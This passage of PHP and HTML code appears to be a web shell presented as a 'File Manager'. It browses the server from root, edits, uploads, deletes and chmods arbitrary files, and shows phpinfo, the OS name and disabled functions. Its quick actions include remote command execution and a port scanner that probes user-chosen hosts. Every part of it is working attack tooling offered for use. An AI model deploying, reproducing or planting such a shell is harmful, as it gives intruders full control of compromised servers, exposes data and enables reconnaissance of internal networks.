    $targetName = base64_decode($_POST['permission_target']);
    $targetPath = $activeDirectory . DIRECTORY_SEPARATOR . $targetName;
    $permissionString = trim($_POST['permission_value']);
    $recursiveApplication = isset($_POST['permission_recursive']);
    $operationMessage = '';
    
    if (preg_match('/^[0-7]{3,4}$/', $permissionString)) {
        $permissionValue = octdec($permissionString);
        $permissionResult = (@is_dir($targetPath) && $recursiveApplication) ? 
            modifyAccessRecursive($targetPath, $permissionValue) : @chmod($targetPath, $permissionValue);
            
        if ($permissionResult) {
            $operationMessage = '<div class="toast-alert bg-emerald-800 border-emerald-500">Permission updated</div>';
        } else {
            $operationMessage = '<div class="toast-alert bg-rose-800 border-rose-500">Permission update failed</div>';
        }
    } else {
        $operationMessage = '<div class="toast-alert bg-rose-800 border-rose-500">Invalid permission format</div>';
    }
    
    $_SESSION['system_notification'] = $operationMessage;
    header('Location: ' . $currentNavigation);
    exit;
}

// Network Port Scan
if (isset($_POST['scan_host']) && isset($_POST['scan_ports'])) {
    $scanTarget = trim($_POST['scan_host']);
    $portsInput = trim($_POST['scan_ports']);
    $portsList = array_map('trim', explode(',', $portsInput));
    $portTargets = array_unique(array_filter(array_map('intval', $portsList), function($port) { return $port > 0 && $port <= 65535; }));
    $operationMessage = ''; $scanResults = '';
    
    if (empty($scanTarget)) {
        $operationMessage = '<div class="toast-alert bg-rose-800 border-rose-500">Host required</div>';
    } elseif (empty($portTargets)) {
        $operationMessage = '<div class="toast-alert bg-rose-800 border-rose-500">Invalid ports</div>';
    } else {
        if (!function_exists('fsockopen')) {
            $scanResults = "ERROR: Network scan unavailable";
            $operationMessage = '<div class="toast-alert bg-rose-800 border-rose-500">Scan failed</div>';
        } else {
            $portStatus = []; 
            foreach ($portTargets as $port) {
                $connection = @fsockopen($scanTarget, $port, $errno, $errstr, 1);
                $status = ($connection) ? 'OPEN' : 'CLOSED';
                if ($connection) @fclose($connection);
                $portStatus[] = "$port: $status";
            }
            $scanResults = implode("\n", $portStatus);
            $operationMessage = '<div class="toast-alert bg-emerald-800 border-emerald-500">Scan completed</div>';
        }
    }
    
    $_SESSION['system_notification'] = $operationMessage;
    $_SESSION['network_scan'] = ['host' => $scanTarget, 'ports' => $portsInput, 'results' => $scanResults];
    header('Location: ' . $currentNavigation);
    exit;
}

// System Information
if (isset($_GET['system_info'])) {
    ob_start();
    @phpinfo();
    $systemInfo = ob_get_contents();
    ob_end_clean();
    $systemInfo = preg_replace('%^.*<body>(.*)</body>.*$%is', '$1', $systemInfo);
    $_SESSION['system_information'] = $systemInfo;
    $_SESSION['system_notification'] = '<div class="toast-alert bg-sky-800 border-sky-500">System info loaded</div>';
    header('Location: ' . $currentNavigation);
    exit;
}

// ==================================================
// FILE EDITOR INTERFACE
// ==================================================
if (isset($_GET['edit_resource'])) {
    $editPath = base64_decode($_GET['edit_resource']);
    $editName = basename($editPath);
    $fileContent = @file_get_contents($editPath) ?: '';
    $writeAccess = @is_writable($editPath);
    
    ?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Edit: <?php echo htmlspecialchars($editName); ?></title>
    <script src="https://cdn.tailwindcss.com"></script>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.2/css/all.min.css">
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@100..900&family=JetBrains+Mono:wght@400;700&display=swap" rel="stylesheet">
    <style>
        body { 
            font-family: 'Inter', sans-serif; 
            background-color: #1a1e23; 
            color: #c9d1d9; 
            min-height: 100vh; 
            padding-top: 5rem;
            transition: all 0.3s ease;
        }
        .editor-container {
            background-color: #22272e;
            border: 1px solid #30363d;
            box-shadow: 0 10px 15px rgba(0, 0, 0, 0.3);
        }
        #fileContent {
            font-family: 'JetBrains Mono', monospace; /* Monospace font for code */
            resize: none;
            min-height: 80vh;
        }
        .toast-alert { 
            padding: 0.75rem 1rem; 
            border-radius: 0.5rem; 
            border-left: 5px solid; 
            margin-bottom: 1rem; 
            animation: fadeIn 0.5s ease-out;
        }
        @keyframes fadeIn {
            from { opacity: 0; transform: translateY(-20px); }
            to { opacity: 1; transform: translateY(0); }
        }
    </style>
</head>
<body>
    <div class="fixed top-0 left-0 right-0 p-4 z-50">
        <?php echo $notificationBuffer; ?>
    </div>
    <div class="editor-container mx-auto p-6 rounded-xl w-full max-w-7xl">
        <h1 class="text-3xl font-bold mb-4 flex items-center text-gray-300">
            <i class="fa-solid fa-file-code text-sky-500 mr-3"></i>
            Editing: <span class="ml-2 text-sky-400 break-all"><?php echo htmlspecialchars($editName); ?></span>
        </h1>
        <p class="text-sm text-gray-500 mb-4 font-mono break-all">Path: <?php echo htmlspecialchars($editPath); ?></p>
        <form method="POST">
            <input type="hidden" name="edit_resource_key" value="<?php echo htmlspecialchars(encodeDirectoryPath($editPath)); ?>">
            <textarea name="resource_content" id="fileContent" 
                      class="w-full p-4 bg-gray-800/70 border border-gray-700 rounded-lg focus:outline-none focus:ring-2 focus:ring-sky-500 text-sm shadow-inner" <?php echo $writeAccess ? '' : 'readonly'; ?>><?php echo htmlspecialchars($fileContent); ?></textarea>
            <div class="mt-4 flex flex-col md:flex-row space-y-2 md:space-y-0 md:space-x-4">
                <button type="submit" class="flex-1 bg-emerald-600 hover:bg-emerald-700 text-white font-semibold py-3 px-6 rounded-lg transition duration-200 shadow-md shadow-emerald-900/50 <?php echo $writeAccess ? '' : 'opacity-50 cursor-not-allowed'; ?>" <?php echo $writeAccess ? '' : 'disabled'; ?>>
                    <?php echo $writeAccess ? '<i class="fa-solid fa-save mr-2"></i> Save Changes' : '<i class="fa-solid fa-ban mr-2"></i> Read-Only Access'; ?>
                </button>
                <a href="?<?php echo $pathQueryParameter; ?>=<?php echo htmlspecialchars(encodeDirectoryPath($activeDirectory)); ?>" class="flex-1 bg-gray-600 hover:bg-gray-700 text-white font-semibold py-3 px-6 rounded-lg transition duration-200 text-center shadow-md">
                    <i class="fa-solid fa-arrow-rotate-left mr-2"></i> Return to Manager
                </a>
            </div>
        </form>
    </div>
</body>
</html>
<?php
exit;
}

// ==================================================
// SYSTEM INFORMATION COLLECTION
// ==================================================
$systemData = [
    'Operator' => $systemOperator,
    'Platform' => @php_uname(),
    'Server' => $_SERVER['SERVER_SOFTWARE'],
    'PHP Version' => phpversion(),
    'Security Mode' => (ini_get('safe_mode') ? 'ENABLED' : 'DISABLED'),
    'Restricted Operations' => implode(', ', array_keys(getRestrictedOperations())) ?: 'None',
    'Document Root' => $_SERVER['DOCUMENT_ROOT'],
    'Current Directory' => $activeDirectory,
];

// ==================================================
// MAIN INTERFACE
// ==================================================
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>File Manager - <?php echo htmlspecialchars(basename($activeDirectory) ?: '/'); ?></title>
    <script src="https://cdn.tailwindcss.com"></script>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.2/css/all.min.css">
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@100..900&display=swap" rel="stylesheet">
    <style>
        html { scroll-behavior: smooth; }
        body { 
            font-family: 'Inter', sans-serif; 
            background-color: #1a1e23; /* Dark Slate */
            color: #c9d1d9; 
            padding-top: 5rem; /* Space for fixed header */
        }
        .main-container { max-width: 96rem; }
        
        .header-bar { 
            background-color: #22272e; /* Darker background for header */
            box-shadow: 0 4px 6px rgba(0, 0, 0, 0.4);
            border-bottom: 1px solid #30363d;
        }

        .action-button {
            transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
            position: relative;
            overflow: hidden;
            border: 1px solid transparent;
        }
        .action-button:hover {
            transform: translateY(-2px);
            box-shadow: 0 4px 8px rgba(0, 0, 0, 0.3);
        }
        
        .toast-alert { 
            padding: 0.75rem 1rem; 
            border-radius: 0.5rem; 
            border-left: 5px solid; 
            margin-bottom: 1rem; 
            animation: fadeIn 0.5s ease-out;
        }
        @keyframes fadeIn {
            from { opacity: 0; transform: translateY(-20px); }
            to { opacity: 1; transform: translateY(0); }
        }

        /* Table Styling */
        .data-table th, .data-table td { 
            padding: 1rem; 
            vertical-align: middle;
        }
        .data-table tbody tr {
            transition: background-color 0.2s ease, transform 0.2s ease;
            border-bottom: 1px solid #30363d;
            background-color: #22272e;
        }
        .data-table tbody tr:hover {
            background-color: #30363d; /* Lighter on hover */
            transform: translateY(-1px);
        }
        .data-table tbody tr:last-child {
            border-bottom: none;
        }
        
        /* Modal Overlays */
        .modal-overlay { background-color: rgba(0, 0, 0, 0.7); backdrop-filter: blur(5px); }
        .modal-panel { 
            background-color: #22272e; 
            border: 1px solid #30363d;
            box-shadow: 0 10px 25px rgba(0, 0, 0, 0.8); 
            animation: scaleIn 0.3s cubic-bezier(0.25, 0.46, 0.45, 0.94);
        }
        @keyframes scaleIn {
            from { transform: scale(0.9); opacity: 0; }
            to { transform: scale(1); opacity: 1; }
        }

        /* Scan Progress Bar (Animation) */
        .scan-progress-bar { height: 1.5rem; background-color: #374151; border-radius: 0.5rem; overflow: hidden; }
        .scan-fill { background: linear-gradient(90deg, #10b981, #059669); transition: width 0.5s cubic-bezier(0.4, 0, 0.2, 1); border-radius: 0.5rem; position: relative; overflow: hidden; }
        .scan-fill-error { background: linear-gradient(90deg, #f43f5e, #e11d48); }
        .scan-fill::after { 
            content: ''; 
            position: absolute; 
            top: 0; left: -100%; 
            width: 100%; 
            height: 100%; 
            background: linear-gradient(90deg, transparent, rgba(255,255,255,0.2), transparent); 
            animation: scan-animation 2s infinite; 
        } 
        @keyframes scan-animation { 0% { left: -100%; } 100% { left: 100%; } } 
        
        /* Scan Tabs */
        .scan-tab { 
            padding: 0.5rem 1rem; 
            border-radius: 0.5rem; 
            cursor: pointer; 
            transition: all 0.3s ease; 
            font-weight: 600; 
            background-color: #374151;
            color: #c9d1d9;
        }
        .scan-tab.active { 
            background-color: #22272e; 
            box-shadow: 0 2px 4px rgba(0, 0, 0, 0.3);
            border: 1px solid #30363d;
        }
        .scan-tab:hover:not(.active) { background-color: #4b5563; }
        .scan-panel { display: none; }
        .scan-panel.active { display: block; }

        @media (max-width: 768px) { 
            .data-table th:nth-child(6), .data-table td:nth-child(6), /* Owner/Group */
            .data-table th:nth-child(5), .data-table td:nth-child(5) { /* Permissions */
                display: none; 
            }
            .modal-panel { margin: 0.5rem; width: calc(100% - 1rem); } 
        }
    </style>
</head>
<body class="p-0 md:p-0">

    <div class="header-bar fixed top-0 left-0 right-0 z-40 p-3 md:p-4 flex justify-between items-center">
        <h1 class="text-xl md:text-2xl font-bold text-sky-400 flex items-center">
            <i class="fa-solid fa-folder-tree mr-2"></i> File Manager <span class="hidden md:inline ml-2 text-gray-400 text-sm font-normal">- PHP DataManager</span>
        </h1>
        <a href="?system_logout=1" class="text-rose-400 hover:text-rose-500 transition duration-200 text-sm font-semibold p-2 rounded-lg hover:bg-gray-700/50">
            <i class="fa-solid fa-right-from-bracket mr-1"></i> Logout
        </a>
    </div>

    <div class="fixed top-16 right-4 z-50 w-full max-w-sm">
        <?php echo $notificationBuffer; ?>
    </div>
    
    <div class="main-container mx-auto p-4 md:p-8">
        
        <div class="grid grid-cols-1 lg:grid-cols-3 gap-6 mb-6">
            <div class="lg:col-span-2 p-5 bg-gray-800 rounded-xl shadow-2xl border border-gray-700/50">
                <h2 class="text-xl font-bold mb-3 text-gray-300 flex items-center">
                    <i class="fa-solid fa-circle-info mr-2 text-sky-500"></i> System Overview
                </h2>
                <div class="grid grid-cols-1 md:grid-cols-3 gap-3 text-sm text-gray-400 mb-4">
                    <?php 
                    $infoKeys = array_keys($systemData);
                    foreach ($infoKeys as $key):
                    ?>
                    <div class="truncate p-2 bg-gray-700/50 rounded-md">
                        <span class="font-semibold text-gray-300"><?php echo htmlspecialchars($key); ?>:</span> 
                        <span class="ml-1 text-sky-300"><?php echo htmlspecialchars($systemData[$key]); ?></span>
                    </div>
                    <?php endforeach; ?>
                </div>

                <div class="space-y-4">
                    <?php if (isset($_SESSION['command_execution'])): ?>
                        <h3 class="text-lg font-semibold mt-4 mb-2 text-gray-300">Execution Output:</h3>
                        <div class="command-output p-3 rounded-lg overflow-auto max-h-40 border border-sky-500/50 shadow-inner bg-gray-900/50 font-mono text-xs">
                            <p class="text-gray-500 mb-1">$ <?php echo htmlspecialchars($_SESSION['command_execution']['input']); ?></p>
                            <pre><?php echo htmlspecialchars($_SESSION['command_execution']['output']); ?></pre>
                        </div>
                        <?php unset($_SESSION['command_execution']); ?>
                    <?php endif; ?>
                    
                    <?php if (isset($_SESSION['network_scan']) && !empty($_SESSION['network_scan']['results'])): ?>
                        <h3 class="text-lg font-semibold mt-4 mb-2 text-gray-300">Network Analysis:</h3>
                        <p class="text-gray-400 mb-2 font-mono text-xs">Target: **<?php echo htmlspecialchars($_SESSION['network_scan']['host']); ?>** | Ports: **<?php echo htmlspecialchars($_SESSION['network_scan']['ports']); ?>**</p>
                        <pre class="command-output p-3 rounded-lg overflow-auto max-h-40 border border-amber-500/50 shadow-inner bg-gray-900/50 font-mono text-xs"><?php echo htmlspecialchars($_SESSION['network_scan']['results']); ?></pre>
                        <?php unset($_SESSION['network_scan']); ?>
                    <?php endif; ?>
                </div>

            </div>
            
            <div class="p-5 bg-gray-800 rounded-xl shadow-2xl border border-gray-700/50">
                <h2 class="text-xl font-bold mb-3 text-gray-300 flex items-center">
                    <i class="fa-solid fa-rocket mr-2 text-emerald-500"></i> Quick Actions
                </h2>
                <div class="space-y-3">
                    <button onclick="openModal('createResourceModal')" class="action-button w-full flex items-center justify-center bg-emerald-600 hover:bg-emerald-700 text-white font-semibold py-3 rounded-lg">
                        <i class="fa-solid fa-plus-circle mr-2"></i> New File/Directory
                    </button>
                    <button onclick="openModal('uploadModal')" class="action-button w-full flex items-center justify-center bg-sky-600 hover:bg-sky-700 text-white font-semibold py-3 rounded-lg">
                        <i class="fa-solid fa-cloud-arrow-up mr-2"></i> Upload File
                    </button>
                    <button onclick="openModal('commandModal')" class="action-button w-full flex items-center justify-center bg-purple-600 hover:bg-purple-700 text-white font-semibold py-3 rounded-lg">
                        <i class="fa-solid fa-terminal mr-2"></i> Execute Command
                    </button>
                    <button onclick="openModal('networkScanModal')" class="action-button w-full flex items-center justify-center bg-orange-600 hover:bg-orange-700 text-white font-semibold py-3 rounded-lg">
                        <i class="fa-solid fa-globe mr-2"></i> Network Scan
                    </button>
                    <button onclick="openModal('scanModal')" class="action-button w-full flex items-center justify-center bg-rose-600 hover:bg-rose-700 text-white font-semibold py-3 rounded-lg">
                        <i class="fa-solid fa-bug-slash mr-2"></i> Security Scan (PHP)
                    </button>
                    <a href="?<?php echo $pathQueryParameter; ?>=<?php echo encodeDirectoryPath($activeDirectory); ?>&system_info=1" class="action-button w-full flex items-center justify-center bg-gray-600 hover:bg-gray-700 text-white font-semibold py-3 rounded-lg text-center">
                        <i class="fa-solid fa-flask mr-2"></i> Full PHP Info
                    </a>
                </div>
            </div>
        </div>

        <div class="mb-6 p-4 bg-gray-800 rounded-xl shadow-lg border border-gray-700 flex justify-between items-center flex-wrap">
            <div class="w-full lg:w-3/4">
                <span class="text-sm font-semibold text-gray-400 mr-2 block mb-1 md:inline">Current Path:</span>
                <div class="overflow-x-auto whitespace-nowrap pb-1">
                    <div class="inline-flex items-center text-sm font-mono break-all">
                        <?php 
                        $pathComponents = explode(DIRECTORY_SEPARATOR, $activeDirectory); 
                        $currentPath = '';
                        $pathParam = $pathQueryParameter;
                        
                        echo '<a href="?' . $pathParam . '=' . encodeDirectoryPath(DIRECTORY_SEPARATOR) . '" class="flex items-center text-sky-400 hover:text-sky-300 transition duration-150 p-1 rounded-md hover:bg-gray-700/50">';
                        echo '<i class="fa-solid fa-house mr-1"></i> Root';
                        echo '</a>';
                        
                        foreach ($pathComponents as $index => $component) {
                            if (empty($component) && $index !== 0) continue;
                            
                            $component = $component ?: ($index === 0 ? '' : '... ');
                            $currentPath .= $component . DIRECTORY_SEPARATOR;
                            
                            if (trim($component) === '..') continue;

                            $linkPath = rtrim($currentPath, DIRECTORY_SEPARATOR);
                            if (strlen($linkPath) > 1 && substr($linkPath, -1) === DIRECTORY_SEPARATOR) {
                                $linkPath = rtrim($linkPath, DIRECTORY_SEPARATOR);
                            }
                            
                            $encodedLinkPath = encodeDirectoryPath($linkPath);
                            
                            echo '<span class="text-gray-500 mx-1">/</span>';
                            
                            if ($index === count($pathComponents) - 1 || realpath($linkPath) === $activeDirectory) {
                                echo '<span class="font-bold text-gray-300 p-1 rounded-md">' . htmlspecialchars($component) . '</span>';
                            } else {
                                echo '<a href="?' . $pathParam . '=' . $encodedLinkPath . '" class="text-gray-400 hover:text-sky-300 transition duration-150 p-1 rounded-md hover:bg-gray-700/50">' . htmlspecialchars($component) . '</a>';
                            }
                        }
                        ?>
                    </div>
                </div>
            </div>
            <div class="w-full lg:w-1/4 mt-4 lg:mt-0 flex justify-end">
                <button onclick="openModal('bulkActionModal')" class="action-button bg-purple-600 hover:bg-purple-700 text-white font-semibold py-2 px-4 rounded-lg mr-3 transition duration-200" id="bulkActionButton" disabled>
                    <i class="fa-solid fa-layer-group mr-1"></i> Bulk Actions
                </button>
                <a href="?<?php echo $pathQueryParameter; ?>=<?php echo encodeDirectoryPath($activeDirectory); ?>&compress_directory=1" 
                   onclick="return confirm('Compress the entire current directory (<?php echo htmlspecialchars(basename($activeDirectory) ?: 'root'); ?>)?')"
                   class="action-button bg-teal-600 hover:bg-teal-700 text-white font-semibold py-2 px-4 rounded-lg transition duration-200 text-center">
                    <i class="fa-solid fa-file-export mr-1"></i> Compress Dir
                </a>
            </div>
        </div>

        <form method="POST" id="bulkActionForm">
        <div class="overflow-x-auto rounded-xl shadow-2xl border border-gray-700">
            <table class="w-full text-sm data-table">
                <thead>
                    <tr class="bg-gray-700 text-gray-300 uppercase text-xs sticky top-0">
                        <th class="rounded-tl-xl p-3"><input type="checkbox" id="selectAllResources"></th>
                        <th class="p-3 text-left">Type</th>
                        <th class="p-3 text-left">Name</th>
                        <th class="p-3 text-left">Size</th>
                        <th class="p-3 text-left hidden md:table-cell">Permissions</th>
                        <th class="p-3 text-left hidden md:table-cell">Owner/Group</th>
                        <th class="p-3 text-center rounded-tr-xl">Operations</th>
                    </tr>
                </thead>
                <tbody>
                    <?php 
                    $directoryItems = @scandir($activeDirectory) ?: []; 
                    $fileItems = []; $directoryItemsList = []; 

                    // 1. Separate items into directories and files and collect metadata
                    foreach ($directoryItems as $itemName) { 
                        if ($itemName === '.') continue;

                        $itemPath = $activeDirectory . DIRECTORY_SEPARATOR . $itemName; 
                        $isDirectory = @is_dir($itemPath);
                        $itemEncodedName = encodeDirectoryPath($itemName);

                        if ($itemName === '..') {
                            $parentPath = realpath($activeDirectory . DIRECTORY_SEPARATOR . '..');
                            if ($parentPath === $activeDirectory || !$parentPath) continue;
                            $directoryItemsList[] = [
                                'name' => $itemName, 'path' => $parentPath, 'is_directory' => true, 
                                'permissions_display' => 'N/A', 'permissions_raw' => 'N/A', 
                                'size' => 'N/A', 'owner' => 'N/A', 'group' => 'N/A', 
                                'encoded_name' => encodeDirectoryPath($parentPath),
                            ];
                            continue;
                        } 

                        // Metadata collection logic (unchanged)
                        $itemSize = $isDirectory ? 'N/A' : (@filesize($itemPath) ?: 0); 
                        $ownershipInfo = function($path) { 
                            if (!function_exists('posix_getpwuid') || !function_exists('posix_getgrgid')) { 
                                return ['owner' => @fileowner($path) ?: 'N/A', 'group' => @filegroup($path) ?: 'N/A']; 
                            } 
                            $ownerId = @fileowner($path); $groupId = @filegroup($path); 
                            $ownerInfo = @posix_getpwuid($ownerId); $groupInfo = @posix_getgrgid($groupId); 
                            $ownerName = $ownerInfo ? $ownerInfo['name'] : $ownerId; 
                            $groupName = $groupInfo ? $groupInfo['name'] : $groupId; 
                            return ['owner' => $ownerName, 'group' => $groupName]; 
                        }; 
                        $ownerData = $ownershipInfo($itemPath);
                        $itemData = [
                            'name' => $itemName, 'path' => $itemPath, 'is_directory' => $isDirectory, 
                            'size' => $isDirectory ? 'Dir' : formatDataSize($itemSize), 
                            'permissions_display' => displayAccessRights($itemPath), 
                            'permissions_raw' => @substr(sprintf('%o', @fileperms($itemPath)), -4),
                            'owner' => htmlspecialchars($ownerData['owner']), 
                            'group' => htmlspecialchars($ownerData['group']), 
                            'encoded_name' => $itemEncodedName,
                        ];

                        if ($isDirectory) {
                            $directoryItemsList[] = $itemData;
                        } else {
                            $fileItems[] = $itemData;
                        }
                    }

                    // 2. Sort directories first, then files
                    usort($directoryItemsList, function($a, $b) { return strnatcasecmp($a['name'], $b['name']); });
                    usort($fileItems, function($a, $b) { return strnatcasecmp($a['name'], $b['name']); });
                    $sortedItems = array_merge($directoryItemsList, $fileItems);
                    
                    // 3. Render items
                    foreach ($sortedItems as $itemData):
                        $itemName = $itemData['name'];
                        $encodedName = $itemData['encoded_name'];
                        $isDirectory = $itemData['is_directory'];
                        $itemLink = $isDirectory ? 
                            '?' . $pathQueryParameter . '=' . encodeDirectoryPath($itemData['path']) : 
                            '?' . $pathQueryParameter . '=' . encodeDirectoryPath($activeDirectory) . '&download_resource=' . $encodedName;
                        
                        if ($itemName === '..') {
                            $itemIcon = '<i class="fa-solid fa-arrow-turn-up text-sky-500 w-5 mr-3"></i>';
                        } elseif ($isDirectory) {
                            $itemIcon = '<i class="fa-solid fa-folder text-yellow-500 w-5 mr-3"></i>';
                        } elseif (strtolower(pathinfo($itemName, PATHINFO_EXTENSION)) === 'zip' || strtolower(pathinfo($itemName, PATHINFO_EXTENSION)) === 'rar') {
                            $itemIcon = '<i class="fa-solid fa-file-zipper text-pink-500 w-5 mr-3"></i>';
                        } elseif (in_array(strtolower(pathinfo($itemName, PATHINFO_EXTENSION)), ['php', 'phtml', 'html', 'js', 'css', 'json', 'xml'])) {
                            $itemIcon = '<i class="fa-solid fa-file-code text-cyan-500 w-5 mr-3"></i>';
                        } else {
                            $itemIcon = '<i class="fa-solid fa-file text-gray-500 w-5 mr-3"></i>';
                        }
                    ?>
                    <tr>
                        <td class="p-3 text-center">
                            <?php if ($itemName !== '..'): ?>
                            <input type="checkbox" name="selected_resources[]" value="<?php echo htmlspecialchars($encodedName); ?>" class="form-checkbox h-4 w-4 text-sky-600 bg-gray-900 border-gray-600 rounded focus:ring-sky-500" onchange="updateBulkActionButton()">
                            <?php endif; ?>
                        </td>
                        <td class="p-3 text-gray-400 font-mono text-xs"><?php echo $isDirectory ? 'DIR' : 'FILE'; ?></td>
                        <td class="p-3 max-w-xs truncate">
                            <a href="<?php echo $itemLink; ?>" class="text-gray-300 hover:text-sky-400 transition duration-150 flex items-center">
                                <?php echo $itemIcon . htmlspecialchars($itemName); ?>
                            </a>
                        </td>
                        <td class="p-3 text-gray-400 font-mono text-xs"><?php echo $itemData['size']; ?></td>
                        <td class="p-3 hidden md:table-cell"><?php echo $itemData['permissions_display']; ?></td>
                        <td class="p-3 text-gray-400 text-xs hidden md:table-cell"><?php echo $itemData['owner'] . '/' . $itemData['group']; ?></td>
                        <td class="p-3 text-center whitespace-nowrap">
                            <?php if ($itemName !== '..'): ?>
                                <button type="button" onclick="openRenameModal('<?php echo htmlspecialchars($itemName); ?>', '<?php echo $encodedName; ?>')" class="text-amber-400 hover:text-amber-500 p-1 transition duration-150" title="Rename"><i class="fa-solid fa-pen-to-square"></i></button>
                                <button type="button" onclick="openPermissionModal('<?php echo htmlspecialchars($itemName); ?>', '<?php echo $encodedName; ?>', '<?php echo $itemData['permissions_raw']; ?>', <?php echo $isDirectory ? 'true' : 'false'; ?>)" class="text-blue-400 hover:text-blue-500 p-1 transition duration-150" title="Modify Permissions"><i class="fa-solid fa-shield-halved"></i></button>
                                
                                <?php if ($isDirectory): ?>
                                    <a href="?<?php echo $pathQueryParameter; ?>=<?php echo encodeDirectoryPath($activeDirectory); ?>&compress_resource=<?php echo $encodedName; ?>" class="text-teal-400 hover:text-teal-500 p-1 transition duration-150" title="Compress Directory"><i class="fa-solid fa-file-zipper"></i></a>
                                <?php else: ?>
                                    <a href="?edit_resource=<?php echo encodeDirectoryPath($itemData['path']); ?>" class="text-emerald-400 hover:text-emerald-500 p-1 transition duration-150" title="Edit Content"><i class="fa-solid fa-pencil"></i></a>
                                    <a href="?<?php echo $pathQueryParameter; ?>=<?php echo encodeDirectoryPath($activeDirectory); ?>&download_resource=<?php echo $encodedName; ?>" class="text-sky-400 hover:text-sky-500 p-1 transition duration-150" title="Download"><i class="fa-solid fa-download"></i></a>
                                    <a href="?<?php echo $pathQueryParameter; ?>=<?php echo encodeDirectoryPath($activeDirectory); ?>&compress_resource=<?php echo $encodedName; ?>" class="text-pink-400 hover:text-pink-500 p-1 transition duration-150" title="Create Archive"><i class="fa-solid fa-file-zipper"></i></a>
                                    <?php if (strtolower(pathinfo($itemName, PATHINFO_EXTENSION)) === 'zip'): ?>
                                        <a href="?<?php echo $pathQueryParameter; ?>=<?php echo encodeDirectoryPath($activeDirectory); ?>&extract_resource=<?php echo $encodedName; ?>" class="text-purple-400 hover:text-purple-500 p-1 transition duration-150" title="Extract Archive"><i class="fa-solid fa-folder-open"></i></a>
                                    <?php endif; ?>
                                <?php endif; ?>
                                
                                <a href="?<?php echo $pathQueryParameter; ?>=<?php echo encodeDirectoryPath($activeDirectory); ?>&delete_resource=<?php echo $encodedName; ?>" 
                                   onclick="return confirm('Are you sure you want to delete <?php echo htmlspecialchars($itemName); ?>?')" 
                                   class="text-rose-500 hover:text-rose-600 p-1 transition duration-150" title="Delete"><i class="fa-solid fa-trash-can"></i></a>
                            <?php endif; ?>
                        </td>
                    </tr>
                    <?php endforeach; ?>
                    <?php if (empty($sortedItems)): ?>
                        <tr><td colspan="7" class="text-center p-8 text-gray-500">Directory is empty.</td></tr>
                    <?php endif; ?>
                </tbody>
            </table>
        </div>
        </form>
    </div>

    <div id="createResourceModal" class="modal-overlay fixed inset-0 z-50 flex items-center justify-center hidden p-4">
        <div class="modal-panel p-6 rounded-xl w-full max-w-md">
            <h2 class="text-2xl font-bold mb-4 text-gray-300 flex items-center"><i class="fa-solid fa-plus-circle mr-2 text-emerald-500"></i> Create New Resource</h2>
            <form method="POST" class="space-y-4">
                <input type="text" name="create_resource" placeholder="Resource Name (e.g., newfile.txt or newdir)" required 
                       class="w-full px-4 py-3 bg-gray-700/50 border border-gray-600 rounded-lg focus:outline-none focus:ring-2 focus:ring-sky-500 text-white transition duration-200">
                <div class="flex space-x-4">
                    <label class="flex items-center text-gray-300">
                        <input type="radio" name="resource_type" value="file" checked class="form-radio h-4 w-4 text-sky-600 bg-gray-900 border-gray-600 focus:ring-sky-500 mr-2">
                        File
                    </label>
                    <label class="flex items-center text-gray-300">
                        <input type="radio" name="resource_type" value="directory" class="form-radio h-4 w-4 text-sky-600 bg-gray-900 border-gray-600 focus:ring-sky-500 mr-2">
                        Directory
                    </label>
                </div>
                <div class="flex justify-end space-x-3 pt-2">
                    <button type="button" onclick="closeModal('createResourceModal')" class="bg-gray-600 hover:bg-gray-700 text-white font-semibold py-2 px-4 rounded-lg transition duration-200 shadow-md">Cancel</button>
                    <button type="submit" class="bg-emerald-600 hover:bg-emerald-700 text-white font-semibold py-2 px-4 rounded-lg transition duration-200 shadow-md shadow-emerald-900/50">Create</button>
                </div>
            </form>
        </div>
    </div>
    
    <div id="uploadModal" class="modal-overlay fixed inset-0 z-50 flex items-center justify-center hidden p-4">
        <div class="modal-panel p-6 rounded-xl w-full max-w-md">
            <h2 class="text-2xl font-bold mb-4 text-gray-300 flex items-center"><i class="fa-solid fa-cloud-arrow-up mr-2 text-sky-500"></i> Upload Data</h2>
            <form method="POST" enctype="multipart/form-data" class="space-y-4">
                <input type="file" name="upload_data" required 
                       class="w-full px-4 py-3 bg-gray-700/50 border border-gray-600 rounded-lg focus:outline-none focus:ring-2 focus:ring-sky-500 text-white file:mr-4 file:py-2 file:px-4 file:rounded-lg file:border-0 file:text-sm file:font-semibold file:bg-sky-600 file:text-white hover:file:bg-sky-700 transition duration-200">
                <div class="flex justify-end space-x-3 pt-2">
                    <button type="button" onclick="closeModal('uploadModal')" class="bg-gray-600 hover:bg-gray-700 text-white font-semibold py-2 px-4 rounded-lg transition duration-200 shadow-md">Cancel</button>
                    <button type="submit" class="bg-sky-600 hover:bg-sky-700 text-white font-semibold py-2 px-4 rounded-lg transition duration-200 shadow-md shadow-sky-900/50">Upload</button>
                </div>
            </form>
        </div>
    </div>

    <div id="renameModal" class="modal-overlay fixed inset-0 z-50 flex items-center justify-center hidden p-4">
        <div class="modal-panel p-6 rounded-xl w-full max-w-md">
            <h2 class="text-2xl font-bold mb-4 text-gray-300 flex items-center"><i class="fa-solid fa-pen-to-square mr-2 text-amber-500"></i> Rename Resource</h2>
            <form method="POST" class="space-y-4">
                <input type="hidden" name="rename_original" id="rename_original_name">
                <p class="text-gray-400 mb-2 font-mono">Current: <span id="current_resource_name" class="font-bold text-gray-300"></span></p>
                <input type="text" name="rename_new" id="rename_new_input" placeholder="New Name" required 
                       class="w-full px-4 py-3 bg-gray-700/50 border border-gray-600 rounded-lg focus:outline-none focus:ring-2 focus:ring-sky-500 text-white transition duration-200">
                <div class="flex justify-end space-x-3 pt-2">
                    <button type="button" onclick="closeModal('renameModal')" class="bg-gray-600 hover:bg-gray-700 text-white font-semibold py-2 px-4 rounded-lg transition duration-200 shadow-md">Cancel</button>
                    <button type="submit" class="bg-amber-600 hover:bg-amber-700 text-white font-semibold py-2 px-4 rounded-lg transition duration-200 shadow-md shadow-amber-900/50">Rename</button>
                </div>
            </form>
        </div>
    </div>
    
